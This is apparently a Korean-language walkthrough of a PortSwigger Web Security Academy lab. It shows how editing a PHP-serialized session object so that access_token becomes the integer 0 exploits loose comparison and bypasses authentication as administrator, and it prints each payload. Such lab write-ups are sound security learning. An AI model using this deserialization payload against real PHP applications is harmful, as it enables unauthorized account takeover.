문제 링크
Lab: Modifying serialized data types | Web Security Academy
This lab uses a serialization-based session mechanism and is vulnerable to authentication bypass as a result. To solve the lab, edit the serialized object ...
portswigger.net
풀이
이전 문제와 같이, wiener 계정으로 로그인 시, 세션이 생성되며, base64 디코딩 시, 아래와 같이 직렬화된 객체를 볼 수 있다.
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ctk1mqapwbk50aw41yclqt99ysguakks";}
access_token이 존재하여, 해당 속성 값을 어떻게 변경하냐가 주요 쟁점으로 보이며, 아래와 같이 변경 시, 에러가 발생한다.
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"ctk1mqapwbk50aw41yclqt99ysguakks";}
해당 Lab의 Hint를 보았을 때, 해당 Lab 7.x 이전 버전과 같은 기능 동작을 한다고 한다. 해당 서버가 역직렬화를 하는 과정에서 느슨한 비교 연산자 ( "==" )를 사용하고, 그에 대입되는 값이 사용자가 제어할 수 있는 값이라면 역직렬화 취약점에 대한 위협이 존재한다.
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
위 직렬화된 객체 속성 값 ( access_token )을 숫자 0으로 하여, 문자열과 비교 시, true로 반환되게 끔 해주었다. 그 결과 문제를 해결할 수 있었다.